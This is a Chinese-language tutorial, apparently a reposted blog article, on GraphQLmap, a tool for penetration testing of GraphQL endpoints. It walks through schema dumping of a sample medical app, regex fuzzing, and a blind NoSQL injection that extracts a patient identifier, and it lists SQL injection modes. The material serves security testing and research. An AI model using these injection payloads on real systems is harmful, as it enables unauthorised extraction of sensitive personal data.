如何使用GraphQLmap对GraphQL节点进行渗透测试

2021-07-02 17:07:33 浏览数 (1)

关于GraphQLmap

GraphQLmap是一个可以跟GraphQL节点交互的脚本引擎,广大研究人员可以使用GraphQLmap来针对GraphQL节点进行渗透测试和安全研究。

工具安装

代码语言:javascript复制
$ git clone https://github.com/swisskyrepo/GraphQLmap

$ python graphqlmap.py                                                              

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 | |__| | | | (_| | |_) | | | | |__| | |____| | | | | | (_| | |_) |

  _____|_|  __,_| .__/|_| |_|__________|_| |_| |_|__,_| .__/

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                                         Author:Swissky Version:1.0

usage: graphqlmap.py [-h] [-u URL] [-v [VERBOSITY]] [--method [METHOD]] [--headers [HEADERS]]

optional arguments:

  -h, --help          show this help message and exit

  -u URL              URL to query : example.com/graphql?query={}

  -v [VERBOSITY]      Enable verbosity

  --method [METHOD]   HTTP Method to use interact with /graphql endpoint

  --headers [HEADERS] HTTP Headers sent to /graphql endpoint

  --json              Send requests using POST and JSON

功能和使用样例

跟一个GraphQL节点连接

代码语言:javascript复制
python3 graphqlmap.py -u https://yourhostname.com/graphql -v --method POST --headers '{"Authorization" : "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0ZXh0Ijoibm8gc2VjcmV0cyBoZXJlID1QIn0.JqqdOesC-R4LtOS9H0y7bIq-M8AGYjK92x4K3hcBA6o"}'

导出GraphQL架构

使用dump_new导出GraphQL架构,这个功能将会自动使用找到的字段填充”autocomplete”:

代码语言:javascript复制
GraphQLmap > dump_new                     

============= [SCHEMA] ===============

e.g: name[Type]: arg (Type!)                   

Query                                          

        doctor[]: email (String!),                                                             

        doctors[Doctor]:                                                                       

        patients[Patient]:                                                                     

        patient[]: id (ID!),                   

        allrendezvous[Rendezvous]:                                                             

        rendezvous[]: id (ID!),                                                                

Doctor                                         

        id[ID]:                                                                                

        firstName[String]:                     

        lastName[String]:                                                                      

        specialty[String]:                     

        patients[None]:

        rendezvous[None]:

        email[String]:

        password[String]:

[...]

视频演示:点击底部【阅读原文】观看

跟一个GraphQL节点交互

编写一个GraphQL请求并执行它:

代码语言:javascript复制
GraphQLmap > {doctors(options: 1, search: "{ "lastName": { "$regex": "Admin"} }"){firstName lastName id}}

{

    "data": {

        "doctors": [

            {

                "firstName": "Admin",

                "id": "5d089c51dcab2d0032fdd08d",

                "lastName": "Admin"

            }

        ]

    }

}

GraphQL字段模糊测试

使用GRAPHQL_INCREMENT和GRAPHQL_CHARSET来对参数进行模糊测试:

代码语言:javascript复制
GraphQLmap > {doctors(options: 1, search: "{ "lastName": { "$regex": "AdmiGRAPHQL_CHARSET"} }"){firstName lastName id}}   

[ ] Query: (45) {doctors(options: 1, search: "{ "lastName": { "$regex": "Admi!"} }"){firstName lastName id}}   

[ ] Query: (45) {doctors(options: 1, search: "{ "lastName": { "$regex": "Admi$"} }"){firstName lastName id}}   

[ ] Query: (45) {doctors(options: 1, search: "{ "lastName": { "$regex": "Admi%"} }"){firstName lastName id}}   

[ ] Query: (45) {doctors(options: 1, search: "{ "lastName": { "$regex": "Admi("} }"){firstName lastName id}}   

[ ] Query: (45) {doctors(options: 1, search: "{ "lastName": { "$regex": "Admi)"} }"){firstName lastName id}}   

[ ] Query: (206) {doctors(options: 1, search: "{ "lastName": { "$regex": "Admi*"} }"){firstName lastName id}}   

[ ] Query: (45) {doctors(options: 1, search: "{ "lastName": { "$regex": "Admi "} }"){firstName lastName id}}   

[ ] Query: (45) {doctors(options: 1, search: "{ "lastName": { "$regex": "Admi,"} }"){firstName lastName id}}   

[ ] Query: (45) {doctors(options: 1, search: "{ "lastName": { "$regex": "Admi-"} }"){firstName lastName id}}   

[ ] Query: (206) {doctors(options: 1, search: "{ "lastName": { "$regex": "Admi."} }"){firstName lastName id}}   

[ ] Query: (45) {doctors(options: 1, search: "{ "lastName": { "$regex": "Admi/"} }"){firstName lastName id}}   

[ ] Query: (45) {doctors(options: 1, search: "{ "lastName": { "$regex": "Admi0"} }"){firstName lastName id}}   

[ ] Query: (45) {doctors(options: 1, search: "{ "lastName": { "$regex": "Admi1"} }"){firstName lastName id}}     

[ ] Query: (206) {doctors(options: 1, search: "{ "lastName": { "$regex": "Admi?"} }"){firstName lastName id}}

[ ] Query: (206) {doctors(options: 1, search: "{ "lastName": { "$regex": "Admin"} }"){firstName lastName id}}

视频演示:点击底部【阅读原文】观看

NoSQLi注入

在请求中使用BLIND_PLACEHOLDER 并实现NoSQLi注入:

代码语言:javascript复制
GraphQLmap > nosqli

Query > {doctors(options: "{""patients.ssn":1}", search: "{ "patients.ssn": { "$regex": "^BLIND_PLACEHOLDER"}, "lastName":"Admin" , "firstName":"Admin" }"){id, firstName}}

Check > 5d089c51dcab2d0032fdd08d

Charset > 0123456789abcdef-

[ ] Data found: 4f537c0a-7da6-4acc-81e1-8c33c02ef3b

GraphQLmap >

视频演示:点击底部【阅读原文】观看

SQL注入

代码语言:javascript复制
GraphQLmap > postgresqli

GraphQLmap > mysqli

GraphQLmap > mssqli

项目地址:点击底部【阅读原文】获取

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